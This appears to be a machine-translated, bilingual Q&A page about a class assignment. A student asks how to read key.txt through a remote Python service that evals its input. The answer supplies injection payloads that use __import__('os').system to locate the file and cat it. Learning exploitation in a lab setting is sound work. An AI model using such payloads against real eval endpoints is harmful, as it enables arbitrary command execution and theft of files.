[英]Executing code through python eval
My class assignment is to read a file called key.txt on a server which is in the same directory of a python script it is running on port 2323. The code running in the script is as follows: 我的课程分配是在服务器上读取一个名为key.txt的文件,该文件与端口2323上运行的python脚本位于同一目录中。脚本中运行的代码如下:
while 1: print eval(raw_input("Enter Math:"))
I'm connecting with PuTTY and every time I run any code, the connection instantly drops if the code I pass is invalid. 我正在连接PuTTY,每次我运行任何代码时,如果传递的代码无效,连接都会立即断开。 It gives no explanation, but I assume the eval function couldnt parse my code.
它没有给出任何解释,但我假设eval函数无法解析我的代码。
Here are some of the things I've tried and their outputs: 这是我尝试过的一些东西及其输出:
open('key.txt', 'r').read()
(or any explicit code) killed the connection open('key.txt', 'r').read()
(或任何明确的代码)会终止连接 chr(104)+chr(101)+chr(108)+chr(108)+chr(111)
. chr(104)+chr(101)+chr(108)+chr(108)+chr(111)
。 The server just spits back whatever I type compile
by entering compile('print "Hello!"', 'buttfile', 'exec')
, with the output <code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>
compile('print "Hello!"', 'buttfile', 'exec')
使用compile
,输出<code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>
Those are the only two ways I can think of that allows me to pass in code. 这些是我可以想到的仅有两种方法,它们可以使我传递代码。 I wrote a small cpp program to convert whatever I type into the char combinations, as well as including newlines so I can enter multiline code with the chr() method.
我编写了一个小型cpp程序,将我键入的任何内容转换为char组合,包括换行符,以便可以使用chr()方法输入多行代码。
So my question is how would I execute code to read a file through python's eval function? 所以我的问题是我将如何执行代码以通过python的eval函数读取文件?
If you are connecting to a linux system you can do it in two commands: 如果要连接到linux系统,则可以使用两个命令来完成:
__import__("os").system("locate key.txt")
This assumes that the locate db is up to date. 这假定locate数据库是最新的。
Then when you know the location just use: 然后,当您知道位置时,请使用:
__import__("os").system("cat /location/of/file/key.txt")
Which will output the key to the screen. 这会将键输出到屏幕。
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